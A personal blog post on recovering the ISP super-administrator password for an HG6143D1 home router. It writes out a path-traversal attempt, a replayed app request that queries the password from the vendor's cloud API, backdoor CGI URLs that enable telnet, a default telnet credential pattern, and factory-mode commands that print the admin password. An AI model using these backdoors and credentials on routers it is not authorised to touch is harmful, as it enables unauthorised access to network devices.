Obtaining the super administrator password for the HG6143D1 router

Because my under-18-year-old nephew was playing TikTok videos out loud too noisily and was addicted to online games, I decided to take some measures within my capabilities.

For example, I attempted to edit the firewall settings of the telecom router to block access to the domain names associated with the games.

I'll document the exploration process here, with the correct solution provided in the last section.

Fake Management Interface

I previously saw the username useradmin and password (a 5-letter all-alphabetic string) for the terminal management interface on the back of the router. Accessing http://192.168.1.1 allowed me to log in. However, after browsing through all the router's settings:

I found that none of the settings were related to the router's firewall. The only somewhat useful function was the ability to change the Wi-Fi password. So, this management interface only serves to satisfy some users' vanity—its functionality is extremely limited.

After searching the web (STFW), I learned that our login user useradmin is merely a standard user. To access the real "management interface," you need to log in as the "super administrator" telecomadmin with the correct password. Thus, the next few sections delve into the long and arduous journey of finding the "super administrator" password.

Theoretically, the fastest method is—letting professionals handle professional tasks. Sending a red envelope (monetary gift) to the broadband technician or calling customer service might lead to success. For example:

I just had IPTV set up a few days ago. I've been a long-time telecom user for over ten years, but they never replaced my earliest TV box. I contacted customer service about it, and the technician who came to install the box turned out to be my middle school classmate. We added each other on WeChat. During those days of troubleshooting, I tried all the online methods but nothing worked. I felt a bit awkward asking the technician since, although we knew each other, we weren't that close. I first tried a ¥10 service on Xianyu, but it was too late that day, so they said they'd check and send it the next day. However, they later told me their system was glitching and couldn't retrieve the info, so they refunded me and suggested I contact the broadband technician. I mustered the courage to ask my old classmate, and he readily looked it up for me. He warned me not to mess with the settings, saying that providing this info was technically against the rules. As soon as I got access, I deleted TR069, spent some time researching, set up single-wire multiplexing, enabled and fixed Telnet. Now all IPTV devices on my local network work, and the IPTV box functions normally. Feeling pretty pleased. 😌

Okay-Alone: https://www.bilibili.com/video/av114002340354203/

~~But doing this would reveal my intention to tinker with the network, and my nephew would find out.~~

Failed Method 1: Default Password

After ATFAI (Ask The F**king AI), I learned that as a telecom device, the default password for telecomadmin is nE7jA%5m. I tried it, but the password was incorrect.

After another round of STFW, I found that the default password for the "super administrator" is indeed nE7jA%5m. However, after fiber optic internet activation, the password is reset to an 8-character string containing letters, numbers, and special characters. Even brute-forcing via packet capture would be impractical in terms of time cost. (Of course, you could choose to restore the router to factory settings and log in, ~~but then my nephew would find out~~.)

A quick search on Bilibili revealed many videos attempting to obtain the telecom broadband administrator password. I summarized three main types of solutions, as shown below:

Failed Method 2: Path Traversal

Video Link.

Students familiar with path traversal vulnerabilities know that we can use .. to navigate to the parent directory. By repeating ../../../../ multiple times, we can eventually reach the root directory. Here's a real-world example:

First, my router allows connecting a USB drive, and the web interface can access the contents of this drive. Therefore, we can pre-create a folder (e.g., UMR) on the USB drive and modify the frontend JavaScript function (e.g., openfile('UMR', false)) to openfile('..', false). Theoretically, this should allow access to the parent directory of the folder. If successful, changing it to openfile('../../../../', false) would lead to the root directory, meaning you gain access to any path. The administrator password is stored in plaintext in a certain file—simply copy the entire system directory to the USB drive and search for it at your leisure.

However, things didn't go as planned. In my case, after changing it to openfile('..', false), the interface showed nothing. But when I changed it to openfile('../../../path/to/usb', false), the contents of the USB drive reappeared. Therefore, I suspect the backend logic was rewritten to filter out any content outside the USB drive path—this vulnerability has been patched, and the method failed.

Failed Method 3: App Packet Capture

Video Link

The idea in this video is to download the official router app "Xiao Yi Guan Jia," bind the router, enter the router management interface, and find the option to toggle the router indicator light. Then, start capturing packets, select a packet sent to the Tianyi server, modify its content to a JSON string attempting to query the administrator password, and resend it. In this way, the correct administrator password can be seen in the response.

To set up the experimental environment, I used an old phone from four years ago that had been rooted and had the Xposed framework installed. I also installed the packet capture software Reqable on both the phone and the computer. We needed to install a CA certificate for HTTPS decryption on the Android phone (I used the method of installing an Xposed module for this) and pair the phone with the computer to facilitate operating the packet-sending commands from the computer. We captured several packets communicating with the server, such as:

POST /device/api?token=??????&MAC=??????? HTTP/1.1
Content-Type: application/json
SDKVersion: 3.6.2
phoneNum: ???????????
phoneOS: Android
systemVersion: 7.0
AppKey: ???????????
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.0; STF-AL10 Build/HUAWEISTF-AL10)
Host: nos10-2.189cube.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 187

{"InterfaceName":"com.ctc.igd1.SleepTimer","ObjectPath":"/com/ctc/igd1/Config/Power/SleepTimers","RPCMethod":"GetProperitesOfSubObjects","SequenceId":"31629","ServiceName":"com.ctc.igd1"}

Following the online instructions, we modified the JSON string in the last line to:

{
  "Params": [],
  "MethodName": "GetTAPasswd",
  "RPCMethod": "CallMethod",
  "ObjectPath": "/com/ctc/igd1/Telecom/System",
  "Interfacename": "com.ctc.igd1.SysCmd",
  "ServiceName": "com.ctc.igd1"
}

As a result, we obtained the following outcome:

I attempted to modify some parameters in the request header and found that only the token and MAC in the POST parameters affected the output. Arbitrarily modifying the token resulted in an invalid token error, while modifying the MAC prompted that the device was not registered. Attempting to decode the token in hexadecimal also revealed nothing noteworthy—this suggests that the packet-sending vulnerability seems to have been patched, rendering this method unsuccessful.

Success Method 1: Trying the Backdoor

Through Bilibili videos and searching with the keyword HG6143D1, I attempted the following potential backdoor links (remember to disable your proxy):

http://192.168.1.1:8080/
http://192.168.1.1:8080/cgi-bin/abcdidfope94e0934jiewru8ew414.cgi
http://192.168.1.1:8080/cgi-bin/telnetenable.cgi?key=HG6143D1&telnetenable=1
http://192.168.1.1:8080/cgi-bin/telnetenable.cgi?telnetenable=1&key=<ONT MAC address without symbols>

The first page remained blank and took a long time to load, the second and third returned 404 errors, and the last one displayed "telnet enabled"—finally a success. I then followed the tutorial that provided the fourth link for the next steps:

Enter WSL and type telnet 192.168.1.1, username telnetadmin, password FH-nE7jA%5mXXXXXX, where XXXXXX is replaced by the last six digits of the MAC address without colons.
Enter factory mode by typing load_cli factory.
The shell prompt changes from $ to #. Type show admin_pwd to display the administrator password.

My process looked like this:

junyu33@zjy-asus /m/c/U/j/Desktop> telnet 192.168.1.1                                                            (base)
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
Login:telnetadmin
Password:
$load_cli factory
cli main init.....argc=2 /r/n
consoleFd = -1
----cli_main_begin 488 -1
cannot   open   (fh-bin)confile
cl_run_memfile_config  unlocked success!
Config\factorydir# show admin_pwd
Success! admin_pwd=????????
Config\factorydir#

And just like that, I obtained the administrator password. I entered http://192.168.1.1 in the browser, logged in with the super administrator username telecomadmin and the password to access the real (and rather ugly) management interface: